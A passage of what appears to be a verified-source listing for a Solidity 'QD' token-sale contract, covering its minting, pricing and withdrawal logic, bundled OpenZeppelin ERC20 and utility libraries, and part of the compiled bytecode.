block.timestamp); charity = cost_in_usdt * 22 / 100; deposited += cost_in_usdt - charity; } // Will revert on failure (namely insufficient allowance) ERC20(usdt).safeTransferFrom(_msgSender(), address(this), cost_in_usdt); // Optimistically mint _mint(beneficiary, qd_amt); if (charity > 0) { require(totalSupply() - private_minted <= get_total_supply_cap(), "QD: MINT_R3"); // Cap minting ERC20(usdt).safeTransfer(UA, charity); } emit Mint(beneficiary, cost_in_usdt, qd_amt); } function withdraw() external { // callable by anyone, and only once, after the QD offering ends require(deposited > 0 && block.timestamp > SALE_START + SALE_LENGTH, "QD: MINT_R2"); ERC20(usdt).safeTransfer(owner(), private_deposited); ERC20(usdt).approve(locker, deposited); Locker(locker).lockToken(usdt, deposited, "quid.near"); deposited = 0; } function decimals() public view override(ERC20) returns (uint8) { return uint8(_QD_DECIMALS); } function get_total_supply_cap() public view returns (uint total_supply_cap) { uint time_elapsed = block.timestamp - SALE_START; total_supply_cap = MINT_QD_PER_DAY_MAX * 10 ** _QD_DECIMALS * time_elapsed / 1 days; } function qd_amt_to_usdt_amt( uint qd_amt, uint block_timestamp ) public view returns (uint usdt_amount) { uint time_elapsed = block_timestamp - SALE_START; // price = ((now - sale_start) // SALE_LENGTH) * (final_price - start_price) + start_price uint price = (final_price - start_price) * time_elapsed / SALE_LENGTH + start_price; // cost = amount / qd_multiplier * usdt_multipler * price / 100 usdt_amount = qd_amt * 10 ** _USDT_DECIMALS * price / 10 ** _QD_DECIMALS / 100; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "IERC20.sol"; import "IERC20Metadata.sol"; import "Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "IERC20.sol"; import "Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063a9059cbb11610097578063c52e8c4111610071578063c52e8c4114610334578063d7b96d4e1461034f578063dd62ed3e1461036a578063f2fde38b146103a35761018e565b8063a9059cbb1461030f578063bbc56cc814610322578063bf2b52bf1461032c5761018e565b8063715018a6146102a05780638da5cb5b146102a857806394bf804d146102b957806395d89b41146102e157806398b9cc6e146102e9578063a457c2d7146102fc5761018e565b8063243440881161014b578063395093511161012557806339509351146102665780633ccfd60b14610279578063676e4cba1461028357806370a082311461028d5761018e565b806324344088146102105780632f48ab7d14610218578063313ce567146102575761018e565b806306fdde031461019357806308b309e3146101b1578063095ea7b3146101c757806318160ddd146101ea57806322673030146101f257806323b872dd146101fd575b600080fd5b61019b6103b6565b6040516101a8919061162c565b60405180910390f35b6101b9606081565b6040519081526020016101a8565b6101da6101d5366004611584565b610448565b60405190151581526020016101a8565b6003546101b9565b6101b9636226806081565b6101da61020b366004611549565b610460565b6101b9610486565b61023f7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec781565b6040516001600160a01b0390911681526020016101a8565b604051601881526020016101a8565b6101da610274366004611584565b6104d1565b610281610510565b005b6101b96207a12081565b6101b961029b3660046114fd565b610731565b610281610750565b6000546001600160a01b031661023f565b6102cc6102c73660046115cd565b6107b6565b604080519283526020830191909152016101a8565b61019b610b28565b6101b96102f73660046115ef565b610b37565b6101da61030a366004611584565b610bca565b6101da61031d366004611584565b610c67565b6101b96247310081565b6101b9601681565b61023f73165cd37b4c644c2921454429e7f9358d18a45e1481565b61023f7323ddd3e3692d1861ed57ede224608875809e127f81565b6101b9610378366004611517565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6102816103b13660046114fd565b610c75565b6060600480546103c59061180d565b80601f01602080910402602001604051908101604052809291908181526020018280546103f19061180d565b801561043e5780601f106104135761010080835404028352916020019161043e565b820191906000526020600020905b81548152906001019060200180831161042157829003601f168201915b5050505050905090565b600033610456818585610d40565b5060019392505050565b60003361046e858285610e64565b610479858585610ef6565b60019150505b9392505050565b6000806104976362268060426117ca565b905062015180816104aa6018600a6116dd565b6104b7906207a1206117ab565b6104c191906117ab565b6104cb9190611677565b91505090565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909190610456908290869061050b90879061165f565b610d40565b6000600754118015610531575061052e62473100636226806061165f565b42115b6105705760405162461bcd60e51b815260206004820152600b60248201526a28a21d1026a4a72a2fa91960a91b60448201526064015b60405180910390fd5b6105b96105856000546001600160a01b031690565b6006546001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec71691906110c4565b60075460405163095ea7b360e01b81527323ddd3e3692d1861ed57ede224608875809e127f600482015260248101919091527f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec76001600160a01b03169063095ea7b390604401602060405180830381600087803b15801561063957600080fd5b505af115801561064d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067191906115ad565b50600754604051630889bfe760e01b81526001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7166004820152602481019190915260606044820152600960648201526838bab4b2173732b0b960b91b60848201527323ddd3e3692d1861ed57ede224608875809e127f90630889bfe79060a401600060405180830381600087803b15801561071257600080fd5b505af1158015610726573d6000803e3d6000fd5b505060006007555050565b6001600160a01b0381166000908152600160205260409020545b919050565b6000546001600160a01b031633146107aa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610567565b6107b4600061112c565b565b6000806a52b7d2dcc80cd2e40000008410156108025760405162461bcd60e51b815260206004820152600b60248201526a51443a204d494e545f523160a81b6044820152606401610567565b636226806042118015610824575061082162473100636226806061165f565b42105b61085e5760405162461bcd60e51b815260206004820152600b60248201526a28a21d1026a4a72a2fa91960a91b6044820152606401610567565b6000546001600160a01b03163314156109b6576016600854106108c35760405162461bcd60e51b815260206004820152601760248201527f43616e277420616c6c6f6361746520616e79206d6f72650000000000000000006044820152606401610567565b836c22142ba7658b08825ee00000001461091f5760405162461bcd60e51b815260206004820152601760248201527f57726f6e6720514420616d6f756e7420656e74657265640000000000000000006044820152606401610567565b606461092d6018600a6116dd565b60085461093c6006600a6116dd565b61094690886117ab565b61095091906117ab565b61095a9190611677565b6109649190611677565b91508160066000828254610978919061165f565b925050819055508360096000828254610991919061165f565b925050819055506002600860008282546109ab919061165f565b909155506109fc9050565b6109c08442610b37565b915060646109cf8360166117ab565b6109d99190611677565b90506109e581836117ca565b600760008282546109f6919061165f565b90915550505b610a317f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec76001600160a01b031633308561117c565b610a3b83856111b4565b8015610add57610a49610486565b600954600354610a5991906117ca565b1115610a955760405162461bcd60e51b815260206004820152600b60248201526a51443a204d494e545f523360a81b6044820152606401610567565b610add6001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec71673165cd37b4c644c2921454429e7f9358d18a45e14836110c4565b60408051838152602081018690526001600160a01b038516917f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f910160405180910390a29250929050565b6060600580546103c59061180d565b600080610b486362268060846117ca565b9050600060166247310083610b5e8360606117ca565b610b6891906117ab565b610b729190611677565b610b7c919061165f565b90506064610b8c6018600a6116dd565b82610b996006600a6116dd565b610ba390896117ab565b610bad91906117ab565b610bb79190611677565b610bc19190611677565b95945050505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490919083811015610c4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610567565b610c5c8286868403610d40565b506001949350505050565b600033610456818585610ef6565b6000546001600160a01b03163314610ccf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610567565b6001600160a01b038116610d345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610567565b610d3d8161112c565b50565b6001600160a01b038316610da25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610567565b6001600160a01b038216610e035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610567565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381166000908152600260209081526040808320938616835292905220546000198114610ef05781811015610ee35760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610567565b610ef08484848403610d40565b50505050565b6001600160a01b038316610f5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610567565b6001600160a01b038216610fbc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610567565b6001600160a01b038316600090815260016020526040902054818110156110345760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610567565b6001600160a01b0380851660009081526001602052604080822085850390559185168152908120805484929061106b90849061165f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110b791815260200190565b60405180910390a3610ef0565b6040516001600160a01b03831660248201526044810182905261112790849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611293565b505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040516001600160a01b0380851660248301528316604482015260648101829052610ef09085906323b872dd60e01b906084016110f0565b6001600160a01b03821661120a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610567565b806003600082825461121c919061165f565b90915550506001600160a01b0382166000908152600160205260408120805483929061124990849061165f565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60006112e8826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166113659092919063ffffffff16565b805190915015611127578080602001905181019061130691906115ad565b6111275760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7